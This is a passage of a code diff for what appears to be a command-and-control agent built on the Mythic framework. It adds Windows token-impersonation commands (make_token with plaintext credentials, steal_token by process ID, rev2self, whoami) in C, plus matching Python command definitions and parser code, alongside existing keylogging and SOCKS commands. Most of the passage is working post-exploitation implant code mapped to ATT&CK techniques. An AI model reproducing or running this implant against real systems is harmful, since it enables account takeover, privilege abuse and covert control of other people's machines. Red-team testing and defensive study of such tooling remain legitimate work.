_inf("[make_token] Dominio recibido: '%s' (length=%zu, strlen=%zu)", domain, domain_len, strlen(domain));
if (domain_len == 0 || strlen(domain) == 0) {
is_empty_or_local = TRUE;
_inf("[make_token] Dominio está vacío (length=%zu), usuario local detectado", domain_len);
} else if (strcmp(domain, ".") == 0 || strcmp(domain, "\\") == 0 || strcmp(domain, "\\\\") == 0) {
is_empty_or_local = TRUE;
_inf("[make_token] Dominio es '.' o '\\' o '\\\\', usuario local detectado");
}
}
if (is_empty_or_local) {
// Get computer name for local user logon
if (GetComputerNameA(computer_name, &computer_name_len)) {
domain_for_logon = computer_name;
is_local_user = TRUE;
_inf("[make_token] Usuario local detectado, usando nombre del equipo '%s' como dominio", computer_name);
} else {
_err("[make_token] Error: No se pudo obtener nombre del equipo. Código: %lu", GetLastError());
domain_for_logon = NULL; // Fallback - will likely fail but try anyway
is_local_user = TRUE;
}
}
// LOGON32_LOGON_NEW_CREDENTIALS (9) requires a valid domain
// Since we're using the hostname (computer name) as the domain, NEW_CREDENTIALS (9) should work
// However, if running from SYSTEM context, INTERACTIVE (2) might be needed
// Keep the original logon_type - don't automatically adjust it
// The hostname is a valid domain, so NEW_CREDENTIALS (9) should work
_inf("[make_token] nbArg=%lu, logon_type=%lu (hostname='%s' como dominio)", nbArg, logon_type, domain_for_logon ? domain_for_logon : "NULL");
_inf("[make_token] Creando token para: %s\\%s (LogonType: %lu)", domain_for_logon ? domain_for_logon : "(local)", user ? user : "(null)", logon_type);
// Save current impersonation token to restore if LogonUserA fails
HANDLE previousToken = gImpersonationToken;
BOOL hadImpersonation = (previousToken != NULL);
// Revert any existing impersonation before attempting new logon
if (gImpersonationToken) {
RevertToSelf();
// Don't close previousToken yet - we might need to restore it
gImpersonationToken = NULL;
}
HANDLE hToken = NULL;
DWORD provider = (logon_type == 9) ? LOGON32_PROVIDER_WINNT50 : LOGON32_PROVIDER_DEFAULT; // LOGON32_LOGON_NEW_CREDENTIALS = 9
_inf("[make_token] Llamando LogonUserA(user='%s', domain=%s, password='%s', logon_type=%lu, provider=%lu)",
user ? user : "(null)",
domain_for_logon ? domain_for_logon : "NULL",
password ? (strlen(password) > 0 ? "[SET]" : "[EMPTY]") : "(null)",
logon_type, provider);
if (!LogonUserA(user, domain_for_logon, password, logon_type, provider, &hToken)) {
DWORD error = GetLastError();
_err("[make_token] LogonUserA falló. Código: %lu (ERROR_INVALID_PARAMETER=87, ERROR_LOGON_FAILURE=1326)", error);
// Provide helpful error messages for common cases
if (error == 87) {
_err("[make_token] ERROR_INVALID_PARAMETER (87): Verifica logon_type y provider. Para usuarios locales, usa logon_type=2 (INTERACTIVE)");
} else if (error == 1326) {
_err("[make_token] ERROR_LOGON_FAILURE (1326): Credenciales incorrectas o usuario no existe");
_err("[make_token] Sugerencia: Verifica que el usuario '%s' existe y que la contraseña es correcta", user ? user : "(null)");
if (is_local_user) {
_err("[make_token] Para usuarios locales, asegúrate de usar el nombre del equipo como dominio (ej: '%s\\%s')", domain_for_logon ? domain_for_logon : "HOSTNAME", user ? user : "USER");
}
} else if (error == 1311) {
_err("[make_token] ERROR_NO_SUCH_LOGON_SESSION (1311): No hay sesión de logon disponible");
} else if (error == 1392) {
_err("[make_token] ERROR_INVALID_NETNAME (1392): El formato del nombre de usuario o dominio es incorrecto");
}
// Restore previous impersonation if it existed
if (hadImpersonation && previousToken) {
_inf("[make_token] Restaurando impersonación anterior tras fallo");
if (ImpersonateLoggedOnUser(previousToken)) {
gImpersonationToken = previousToken;
_inf("[make_token] Impersonación anterior restaurada");
} else {
_wrn("[make_token] No se pudo restaurar impersonación anterior, cerrando token");
CloseHandle(previousToken);
}
} else if (previousToken) {
// Had token but couldn't restore, close it
CloseHandle(previousToken);
}
LocalFree(domain);
LocalFree(user);
LocalFree(password);
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaError, tareaUuid, FALSE);
PPaquete salidaError = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salidaError, FALSE, "[make_token] Error: No se pudo crear token. Código: %lu\n", error);
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
mandarPaquete(respuestaError);
liberarPaquete(salidaError);
liberarPaquete(respuestaError);
return;
}
// Try to impersonate the newly created token
if (!ImpersonateLoggedOnUser(hToken)) {
DWORD error = GetLastError();
CloseHandle(hToken);
_err("[make_token] No se pudo impersonar token. Código: %lu", error);
// Restore previous impersonation if it existed
if (hadImpersonation && previousToken) {
_inf("[make_token] Restaurando impersonación anterior tras fallo de ImpersonateLoggedOnUser");
if (ImpersonateLoggedOnUser(previousToken)) {
gImpersonationToken = previousToken;
_inf("[make_token] Impersonación anterior restaurada");
} else {
_wrn("[make_token] No se pudo restaurar impersonación anterior, cerrando token");
CloseHandle(previousToken);
}
} else if (previousToken) {
// Had token but couldn't restore, close it
CloseHandle(previousToken);
}
LocalFree(domain);
LocalFree(user);
LocalFree(password);
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaError, tareaUuid, FALSE);
PPaquete salidaError = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salidaError, FALSE, "[make_token] Error: No se pudo impersonar. Código: %lu\n", error);
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
mandarPaquete(respuestaError);
liberarPaquete(salidaError);
liberarPaquete(respuestaError);
return;
}
// Successfully impersonated new token, now safe to close previous token
if (previousToken) {
CloseHandle(previousToken);
}
// Store token
gImpersonationToken = hToken;
// Get account name
HANDLE hCurrentProcess = GetCurrentProcess();
HANDLE hProcessToken = NULL;
char account_name[512] = {0};
if (OpenProcessToken(hCurrentProcess, TOKEN_QUERY, &hProcessToken)) {
obtenerNombreDelToken(hCurrentProcess, account_name, sizeof(account_name));
CloseHandle(hProcessToken);
}
CloseHandle(hCurrentProcess);
if (account_name[0] == '\0') {
// Ensure domain and user are valid before using them
const char* domain_safe = domain ? domain : "";
const char* user_safe = user ? user : "";
snprintf(account_name, sizeof(account_name), "%s\\%s", domain_safe, user_safe);
}
// Generate token_id (simple hash of user+domain)
// Use existing domain_len and user_len variables (they were set by getString)
// If needed, recalculate lengths using strlen for actual string length (not buffer length)
SIZE_T actual_user_len = user ? strlen(user) : 0;
SIZE_T actual_domain_len = domain ? strlen(domain) : 0;
UINT32 token_id = 1000 + (UINT32)(actual_user_len + actual_domain_len); // Simple ID generation
char hostname[MAX_COMPUTERNAME_LENGTH + 1] = {0};
DWORD hostname_len = sizeof(hostname);
GetComputerNameA(hostname, &hostname_len);
PPaquete respuestaFinal = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaFinal, tareaUuid, FALSE);
PPaquete salidaFinal = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salidaFinal, FALSE, "[make_token] Token creado e impersonado exitosamente: %s (Token ID: %lu)\n", account_name, token_id);
addBytes(respuestaFinal, (PBYTE)salidaFinal->buffer, salidaFinal->length, TRUE);
// Add artifact for token creation
char artifact_msg[512] = {0};
const char* domain_safe = domain ? domain : "";
const char* user_safe = user ? user : "";
snprintf(artifact_msg, sizeof(artifact_msg), "New Logon: User: %s\\%s (LogonType: %lu)", domain_safe, user_safe, logon_type);
addArtifact(respuestaFinal, "Token Creation", artifact_msg);
// Register token with callback
addCallbackToken(respuestaFinal, "add", hostname, token_id);
mandarPaquete(respuestaFinal);
liberarPaquete(salidaFinal);
liberarPaquete(respuestaFinal);
LocalFree(domain);
LocalFree(user);
LocalFree(password);
}
/**
* @brief Revert token impersonation back to original
*/
VOID RevertirToken(PAnalizador argumentos) {
SIZE_T tamanoUuid = 36;
UINT32 nbArg = getInt32(argumentos);
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
if (gImpersonationToken) {
RevertToSelf();
CloseHandle(gImpersonationToken);
gImpersonationToken = NULL;
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuesta, tareaUuid, FALSE);
PPaquete salida = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salida, FALSE, "[rev2self] Token revertido exitosamente\n");
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
mandarPaquete(respuesta);
liberarPaquete(salida);
liberarPaquete(respuesta);
} else {
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuesta, tareaUuid, FALSE);
PPaquete salida = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salida, FALSE, "[rev2self] No hay token impersonado para revertir\n");
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
mandarPaquete(respuesta);
liberarPaquete(salida);
liberarPaquete(respuesta);
}
}
/**
* @brief Get current user context (whoami)
* Shows the current thread's impersonated user, or process user if not impersonated
* This is useful to verify that steal_token/make_token worked correctly
*/
VOID ObtenerUsuarioActual(PAnalizador argumentos) {
SIZE_T tamanoUuid = 36;
UINT32 nbArg = getInt32(argumentos);
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuesta, tareaUuid, FALSE);
PPaquete salida = nuevoPaquete(0, FALSE);
HANDLE hToken = NULL;
char user_info[512] = {0};
BOOL got_user = FALSE;
// Try to get thread token first (if impersonated)
if (OpenThreadToken(GetCurrentThread(), TOKEN_QUERY, FALSE, &hToken)) {
_inf("[whoami] Usando thread token (impersonado)");
got_user = IdentityGetUserInfo(hToken, user_info, sizeof(user_info));
CloseHandle(hToken);
} else {
DWORD error = GetLastError();
if (error == ERROR_NO_TOKEN) {
// No thread token, try process token
_inf("[whoami] No hay thread token, usando process token");
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
got_user = IdentityGetUserInfo(hToken, user_info, sizeof(user_info));
CloseHandle(hToken);
} else {
_wrn("[whoami] No se pudo abrir process token. Código: %lu", GetLastError());
}
} else {
_wrn("[whoami] Error abriendo thread token. Código: %lu", error);
}
}
if (got_user && strlen(user_info) > 0) {
PackageAddFormatPrintf(salida, FALSE, "%s\n", user_info);
} else {
PackageAddFormatPrintf(salida, FALSE, "[whoami] Error: No se pudo obtener información del usuario\n");
}
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
mandarPaquete(respuesta);
liberarPaquete(salida);
liberarPaquete(respuesta);
}
@@ -0,0 +1,23 @@
#pragma once
#ifndef TOKENS_H
#define TOKENS_H
#include "analizador.h"
#include "paquete.h"
// Token command codes (must match translator)
#define LIST_TOKENS_CMD 0x32
#define STEAL_TOKEN_CMD 0x33
#define MAKE_TOKEN_CMD 0x34
#define REV2SELF_CMD 0x35
// Forward declarations
VOID ListarTokens(PAnalizador argumentos);
VOID RobarToken(PAnalizador argumentos);
VOID CrearToken(PAnalizador argumentos);
VOID RevertirToken(PAnalizador argumentos);
VOID ObtenerUsuarioActual(PAnalizador argumentos);
#endif
@@ -0,0 +1,37 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
class ListTokensArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = []
async def parse_arguments(self):
pass
async def parse_dictionary(self, dictionary_arguments):
self.load_args_from_dictionary(dictionary_arguments)
class ListTokensCommand(CommandBase):
cmd = "list_tokens"
needs_admin = False
help_cmd = "list_tokens"
description = "List all available tokens from running processes"
version = 1
author = "@KaseyaOFSTeam"
argument_class = ListTokensArguments
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
response.DisplayParams = "Listing all available tokens..."
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -0,0 +1,93 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
class MakeTokenArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
CommandParameter(
name="domain",
type=ParameterType.String,
description="Domain of the account credentials (e.g., acme.corp or empty for local)",
parameter_group_info=[ParameterGroupInfo(
required=True,
ui_position=1
)]
),
CommandParameter(
name="username",
type=ParameterType.String,
description="Username of the account",
parameter_group_info=[ParameterGroupInfo(
required=True,
ui_position=2
)]
),
CommandParameter(
name="password",
type=ParameterType.String,
description="The plaintext password for the account",
parameter_group_info=[ParameterGroupInfo(
required=True,
ui_position=3
)]
),
CommandParameter(
name="logon_type",
type=ParameterType.Number,
default_value=9,
description="Logon type (default: 9 = LOGON32_LOGON_NEW_CREDENTIALS)",
parameter_group_info=[ParameterGroupInfo(
required=False,
ui_position=4
)]
),
]
async def parse_arguments(self):
parts = self.command_line.split(" ", 2)
if len(parts) < 3:
raise ValueError("Must supply domain, username, and password: make_token <domain> <username> <password> [logon_type]")
self.add_arg("domain", parts[0])
self.add_arg("username", parts[1])
self.add_arg("password", parts[2])
if len(parts) > 3:
try:
self.add_arg("logon_type", int(parts[3]))
except ValueError:
self.add_arg("logon_type", 9)
async def parse_dictionary(self, dictionary_arguments):
self.load_args_from_dictionary(dictionary_arguments)
if not self.get_arg("logon_type"):
self.add_arg("logon_type", 9)
class MakeTokenCommand(CommandBase):
cmd = "make_token"
needs_admin = False
help_cmd = "make_token <domain> <username> <password> [logon_type]"
description = "Create a token and impersonate it using plaintext credentials"
version = 1
author = "@KaseyaOFSTeam"
attackmapping = ["T1134.003"]
argument_class = MakeTokenArguments
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
domain = taskData.args.get_arg("domain") or ""
username = taskData.args.get_arg("username")
logon_type = taskData.args.get_arg("logon_type") or 9
response.DisplayParams = f"Creating token for {domain}\\{username} (logon_type: {logon_type})"
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -0,0 +1,38 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
class Rev2SelfArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = []
async def parse_arguments(self):
pass
async def parse_dictionary(self, dictionary_arguments):
self.load_args_from_dictionary(dictionary_arguments)
class Rev2SelfCommand(CommandBase):
cmd = "rev2self"
needs_admin = False
help_cmd = "rev2self"
description = "Revert token impersonation back to original token"
version = 1
author = "@KaseyaOFSTeam"
attackmapping = ["T1134.001"]
argument_class = Rev2SelfArguments
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
response.DisplayParams = "Reverting to original token..."
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -0,0 +1,54 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
class StealTokenArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
CommandParameter(
name="pid",
type=ParameterType.Number,
description="Process ID to steal token from",
parameter_group_info=[ParameterGroupInfo(
required=True,
ui_position=1
)]
),
]
async def parse_arguments(self):
if len(self.command_line) == 0:
raise ValueError("Must supply a PID")
try:
self.add_arg("pid", int(self.command_line))
except ValueError:
raise ValueError("PID must be a number")
async def parse_dictionary(self, dictionary_arguments):
self.load_args_from_dictionary(dictionary_arguments)
class StealTokenCommand(CommandBase):
cmd = "steal_token"
needs_admin = False
help_cmd = "steal_token <pid>"
description = "Steal and impersonate the token of a target process"
version = 1
author = "@KaseyaOFSTeam"
attackmapping = ["T1134.001"]
argument_class = StealTokenArguments
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
pid = taskData.args.get_arg("pid")
response.DisplayParams = f"Stealing token from PID: {pid}"
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -0,0 +1,38 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
class WhoamiArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = []
async def parse_arguments(self):
pass
async def parse_dictionary(self, dictionary_arguments):
self.load_args_from_dictionary(dictionary_arguments)
class WhoamiCommand(CommandBase):
cmd = "whoami"
needs_admin = False
help_cmd = "whoami"
description = "Get current user context (thread token if impersonated, otherwise process token). Useful to verify steal_token/make_token worked correctly."
version = 1
author = "@KaseyaOFSTeam"
attackmapping = ["T1083"]
argument_class = WhoamiArguments
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
response.DisplayParams = "Getting current user context..."
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -21,6 +21,12 @@ commands = {
# Keylogging controls # Keylogging controls
"keylog_start": {"hex_code": 0x30, "input_type": None}, "keylog_start": {"hex_code": 0x30, "input_type": None},
"keylog_stop": {"hex_code": 0x31, "input_type": None}, "keylog_stop": {"hex_code": 0x31, "input_type": None},
# Token commands
"list_tokens": {"hex_code": 0x32, "input_type": None},
"steal_token": {"hex_code": 0x33, "input_type": "string"},
"make_token": {"hex_code": 0x34, "input_type": "string"},
"rev2self": {"hex_code": 0x35, "input_type": None},
"whoami": {"hex_code": 0x36, "input_type": None},
# Added SOCKS control commands # Added SOCKS control commands
"start_socks": {"hex_code": 0x60, "input_type": "int"}, "start_socks": {"hex_code": 0x60, "input_type": "int"},
"stop_socks": {"hex_code": 0x61, "input_type": None}, "stop_socks": {"hex_code": 0x61, "input_type": None},
@@ -50,6 +56,14 @@ def responseTasking(tasks):
if commands[command_to_run]["input_type"] is None: # Comandos sin parámetros como "ps" if commands[command_to_run]["input_type"] is None: # Comandos sin parámetros como "ps"
print("[DEBUG] Entrando en rama input_type=None") print("[DEBUG] Entrando en rama input_type=None")
data = command_code + task_id_serialized data = command_code + task_id_serialized
# Check if task has a token associated (for token tasking)
if "token" in task and task["token"] is not None:
token_id = task["token"]
print(f"[DEBUG] Task has token_id: {token_id}")
# Add token_id as UINT32 (4 bytes, big-endian)
data += token_id.to_bytes(4, "big")
task_size = len(data) task_size = len(data)
print(f"[DEBUG] Tamaño de tarea: {task_size}") print(f"[DEBUG] Tamaño de tarea: {task_size}")
print(f"[DEBUG] Datos de tarea (hex): {data.hex()}") print(f"[DEBUG] Datos de tarea (hex): {data.hex()}")
@@ -60,6 +74,7 @@ def responseTasking(tasks):
elif commands[command_to_run]["input_type"] == "string": elif commands[command_to_run]["input_type"] == "string":
data = command_code + task_id data = command_code + task_id
if task["parameters"] != "": if task["parameters"] != "":
parameters = json.loads(task["parameters"]) parameters = json.loads(task["parameters"])
# Normalize paths for upload and ls commands - replace double backslashes # Normalize paths for upload and ls commands - replace double backslashes
@@ -89,6 +104,13 @@ def responseTasking(tasks):
else: else:
data += b"\x00\x00\x00\x00" data += b"\x00\x00\x00\x00"
# Check if task has a token associated (for token tasking) - add after parameters
if "token" in task and task["token"] is not None:
token_id = task["token"]
print(f"[DEBUG] Task has token_id: {token_id}")
# Add token_id as UINT32 (4 bytes, big-endian) after parameters
data += token_id.to_bytes(4, "big")
dataTask += len(data).to_bytes(4, "big") + data dataTask += len(data).to_bytes(4, "big") + data
elif commands[command_to_run]["input_type"] == "int": elif commands[command_to_run]["input_type"] == "int":
@@ -315,64 +315,104 @@ def postResponse(data):
resTaks = [] resTaks = []
# The format after removing POST_RESPONSE byte should be: [UUID tarea (36)][output_len (4)][output][...] # The format after removing POST_RESPONSE byte should be: [UUID tarea (36)][output_len (4)][output][...]
# But the logs show it starts with output_len, so UUID might be missing
# Try to detect UUID by looking for hyphen pattern at positions 8, 13, 18, 23 # Try to detect UUID by looking for hyphen pattern at positions 8, 13, 18, 23
uuidTask = None uuidTask = None
offset = 0 offset = 0
# Check if data starts with output_len (4 bytes, can be 0-4294967295, likely < 10MB for text output) # ALWAYS try to find UUID first (before checking for length)
# If first 4 bytes look like a length (reasonable size), UUID might not be here # UUID has format: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx (36 bytes)
potential_len = None # UUID pattern is very distinctive: 8 hex chars, dash, 4 hex, dash, 4 hex, dash, 4 hex, dash, 12 hex
if len(data) >= 4: # If we find a valid UUID pattern, it takes precedence over length interpretation
potential_len = int.from_bytes(data[0:4], 'big') # Try at offset 0 first
print(f"[DEBUG] Primeros 4 bytes como int: {potential_len}") if len(data) >= 36:
potential_uuid = data[0:36]
# If potential_len looks reasonable (< 10MB), data might start directly with output_len try:
# This means UUID was already removed - we'll need to get it from somewhere else uuid_str = potential_uuid.decode('ascii', errors='replace')
if potential_len is not None and potential_len < 10 * 1024 * 1024 and potential_len > 0: # Check if it looks like a UUID (format: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx)
print(f"[DEBUG] Data parece empezar con output_len ({potential_len}), UUID probablemente no está aquí") # UUID pattern: 8 hex, dash, 4 hex, dash, 4 hex, dash, 4 hex, dash, 12 hex
# The UUID is missing from the packet - this is a protocol issue # Also check that the hyphens are at the correct positions
# For now, use a placeholder and let Mythic handle it if (len(uuid_str) == 36 and
uuidTask = b"00000000-0000-0000-0000-000000000000" uuid_str[8] == '-' and uuid_str[13] == '-' and
offset = 0 uuid_str[18] == '-' and uuid_str[23] == '-' and
print("[WARN] UUID de tarea no está en el paquete - problema de protocolo") all(c in '0123456789abcdefABCDEF-' for c in uuid_str)):
else: # Additional validation: ensure we have hex digits before each dash
# Try to find UUID starting at offset 0 is_valid_uuid = (
if len(data) >= 36: all(c in '0123456789abcdefABCDEF' for c in uuid_str[0:8]) and
potential_uuid = data[offset:offset+36] all(c in '0123456789abcdefABCDEF' for c in uuid_str[9:13]) and
try: all(c in '0123456789abcdefABCDEF' for c in uuid_str[14:18]) and
uuid_str = potential_uuid.decode('ascii') all(c in '0123456789abcdefABCDEF' for c in uuid_str[19:23]) and
# Check if it looks like a UUID (format: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx) all(c in '0123456789abcdefABCDEF' for c in uuid_str[24:36])
if len(uuid_str) == 36 and uuid_str[8] == '-' and uuid_str[13] == '-' and uuid_str[18] == '-' and uuid_str[23] == '-': )
if is_valid_uuid:
# If it matches UUID pattern, trust it (UUID pattern is more reliable than length guess)
# UUIDs can have their first 4 bytes interpreted as any int value, so we can't use that to filter
uuidTask = potential_uuid uuidTask = potential_uuid
offset = 36 offset = 36
print(f"[DEBUG] UUID de tarea detectado en offset 0: {uuid_str}") print(f"[DEBUG] UUID de tarea detectado en offset 0: {uuid_str}")
except: except Exception as e:
pass print(f"[DEBUG] Error al validar UUID en offset 0: {e}")
pass
# If not found, try at offset 36 (might be UUID agente at offset 0) # If not found at offset 0, try at offset 36 (might be UUID agente at offset 0)
if not uuidTask and len(data) >= 72: if not uuidTask and len(data) >= 72:
potential_uuid = data[36:72] potential_uuid = data[36:72]
try: try:
uuid_str = potential_uuid.decode('ascii') uuid_str = potential_uuid.decode('ascii')
if len(uuid_str) == 36 and uuid_str[8] == '-' and uuid_str[13] == '-' and uuid_str[18] == '-' and uuid_str[23] == '-': if (len(uuid_str) == 36 and uuid_str[8] == '-' and uuid_str[13] == '-' and
uuidTask = potential_uuid uuid_str[18] == '-' and uuid_str[23] == '-' and
offset = 72 all(c in '0123456789abcdefABCDEF-' for c in uuid_str)):
print(f"[DEBUG] UUID de tarea detectado en offset 36: {uuid_str}") uuidTask = potential_uuid
except: offset = 72
pass print(f"[DEBUG] UUID de tarea detectado en offset 36: {uuid_str}")
except:
pass
if not uuidTask: # If still not found, check if data starts with a reasonable length
print("[WARN] No se pudo encontrar UUID de tarea válido, usando placeholder") # In this case, UUID might be missing (protocol issue)
if not uuidTask and len(data) >= 4:
potential_len = int.from_bytes(data[0:4], 'big')
print(f"[DEBUG] Primeros 4 bytes como int: {potential_len}")
# If potential_len looks reasonable (< 10MB), data might start directly with output_len
if potential_len < 10 * 1024 * 1024 and potential_len > 0:
print(f"[DEBUG] Data parece empezar con output_len ({potential_len}), UUID probablemente no está aquí")
print("[WARN] UUID de tarea no está en el paquete - problema de protocolo")
uuidTask = b"00000000-0000-0000-0000-000000000000" uuidTask = b"00000000-0000-0000-0000-000000000000"
offset = 0 offset = 0
if not uuidTask:
print("[WARN] No se pudo encontrar UUID de tarea válido, usando placeholder")
uuidTask = b"00000000-0000-0000-0000-000000000000"
offset = 0
data = data[offset:] data = data[offset:]
# Extract output, but handle case where output might be empty (e.g., download chunks) # Extract output using getBytesWithSize
output, data = getBytesWithSize(data) # Format after UUID: [output_len(4)][output][marcadores...]
# Even if output is empty, output_len will be present as 4 bytes (0x00000000)
output = b""
remaining_data = data
print(f"Tamaño después de extraer UUID: {len(data)} bytes") if len(data) >= 4:
# Always read output_len (4 bytes) and then output
output, remaining_data = getBytesWithSize(data)
print(f"[PARSER] Output extraído: {len(output)} bytes, remaining: {len(remaining_data)} bytes")
# Verify that remaining_data starts with a marker if we expect markers
# This helps detect protocol issues
if len(remaining_data) > 0:
KNOWN_MARKERS = {0xFF, 0xFE, 0xFD, 0xFC, 0xF9, 0xF8, 0xF7, 0xF6, 0xF4, 0xF3}
if remaining_data[0] not in KNOWN_MARKERS and len(remaining_data) > 0:
# This might be part of the output that wasn't properly extracted
# This could happen if output_len was incorrectly interpreted
print(f"[WARN] remaining_data no empieza con marcador conocido (0x{remaining_data[0]:02X})")
else:
# Not enough data for output_len
print(f"[PARSER] Datos insuficientes después del UUID ({len(data)} bytes)")
output = b""
remaining_data = data
print(f"Tamaño después de extraer UUID y output: {len(remaining_data)} bytes")
print(f"Tamaño del output extraído: {len(output)} bytes") print(f"Tamaño del output extraído: {len(output)} bytes")
# Parse artifacts, credentials, and downloads # Parse artifacts, credentials, and downloads
@@ -387,8 +427,13 @@ def postResponse(data):
download_chunk = None download_chunk = None
upload_request = None upload_request = None
commands_data = [] commands_data = []
tokens_data = []
callback_tokens_data = []
keylogs_data = [] keylogs_data = []
remaining_data = data
print(f"[PARSER] Iniciando parsing de marcadores. remaining_data length: {len(remaining_data)} bytes")
if len(remaining_data) > 0:
print(f"[PARSER] Primer byte de remaining_data: 0x{remaining_data[0]:02X}")
while len(remaining_data) >= 5: # At least: marker (1) + type_len (4) while len(remaining_data) >= 5: # At least: marker (1) + type_len (4)
if remaining_data[0] == 0xFF: if remaining_data[0] == 0xFF:
@@ -763,6 +808,177 @@ def postResponse(data):
}) })
print(f"[KEYLOG] user='{user}', title='{window_title}', len={len(keystrokes)}") print(f"[KEYLOG] user='{user}', title='{window_title}', len={len(keystrokes)}")
remaining_data = remaining_data[offset:] remaining_data = remaining_data[offset:]
elif remaining_data[0] == 0xF4:
# Token marker found
# Format: [0xF4 marker][token_id:4][host_len:4][host][description_len:4][description][user_len:4][user][groups_len:4][groups][thread_id:4][process_id:4][default_dacl_len:4][default_dacl][session_id:4][restricted:1][capabilities_len:4][capabilities][logon_sid_len:4][logon_sid][integrity_level_sid:4][app_container_number:4][app_container_sid_len:4][app_container_sid][privileges_len:4][privileges][handle:8]
offset = 1
if len(remaining_data) < offset + 4:
break
token_id = int.from_bytes(remaining_data[offset:offset+4], 'big')
offset += 4
def read_string_field():
nonlocal offset
if len(remaining_data) < offset + 4:
return None
str_len = int.from_bytes(remaining_data[offset:offset+4], 'big')
offset += 4
if str_len == 0:
return ""
if len(remaining_data) < offset + str_len:
return None
try:
value = remaining_data[offset:offset+str_len].decode('utf-8', errors='ignore')
offset += str_len
return value
except:
return ""
def read_int32():
nonlocal offset
if len(remaining_data) < offset + 4:
return None
value = int.from_bytes(remaining_data[offset:offset+4], 'big')
offset += 4
return value
def read_int64():
nonlocal offset
if len(remaining_data) < offset + 8:
return None
value = int.from_bytes(remaining_data[offset:offset+8], 'big')
offset += 8
return value
def read_bool():
nonlocal offset
if len(remaining_data) < offset + 1:
return None
value = remaining_data[offset] != 0
offset += 1
return value
host = read_string_field()
description = read_string_field()
user = read_string_field()
groups = read_string_field()
thread_id = read_int32()
process_id = read_int32()
default_dacl = read_string_field()
session_id = read_int32()
restricted = read_bool()
capabilities = read_string_field()
logon_sid = read_string_field()
integrity_level_sid = read_int32()
app_container_number = read_int32()
app_container_sid = read_string_field()
privileges = read_string_field()
handle = read_int64()
if any(x is None for x in [thread_id, process_id, session_id, restricted, integrity_level_sid, app_container_number, handle]):
break
# Build token object according to Mythic documentation
# Only include fields that have actual values (omit empty/zero optional fields)
# This matches how other Mythic agents handle optional token fields
token_obj = {
"token_id": token_id # required - always include
}
# Only add optional fields if they have meaningful values
if host:
token_obj["host"] = host
if description:
token_obj["description"] = description
if user:
token_obj["user"] = user
# NOTE: The C agent currently sends domain_name as groups (incorrect, should be actual groups)
# For now, we'll omit groups field entirely since it contains incorrect data
# In the future, the C agent should extract and send actual group membership
# if groups and groups.strip():
# token_obj["groups"] = groups
if thread_id != 0: # 0 is a valid thread_id, but often means "not provided"
token_obj["thread_id"] = thread_id
